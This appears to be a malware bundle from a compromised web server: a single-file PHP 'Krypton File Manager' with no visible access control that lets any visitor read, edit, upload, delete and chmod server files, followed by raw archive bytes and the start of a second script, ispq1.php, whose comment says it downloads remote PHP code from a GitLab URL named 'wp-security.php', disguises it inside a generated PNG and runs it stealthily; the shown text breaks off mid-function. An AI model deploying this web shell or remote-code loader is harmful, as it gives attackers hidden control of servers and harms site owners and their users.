define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
</html>PK�Cm\��'�	ispq1.phpnu�[���<?php

/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/

session_start();

// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';


// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
    ob_start();
    $image = imagecreatetruecolor($width, $height);

    // Fill with random noise
    for ($x = 0; $x < $width; $x++) {
        for ($y = 0; $y < $height; $y++) {
            $color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
            imagesetpixel($image, $x, $y, $color);
        }
    }

    imagepng($image);
    imagedestroy($image);
    return ob_get_clean(); // Binary PNG data
}


// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
    $content = '';

    try {
        $file = new SplFileObject($url);
        while (!$file->eof()) {
            $content .= $file->fgets();
        }
    } catch (Throwable $e) {
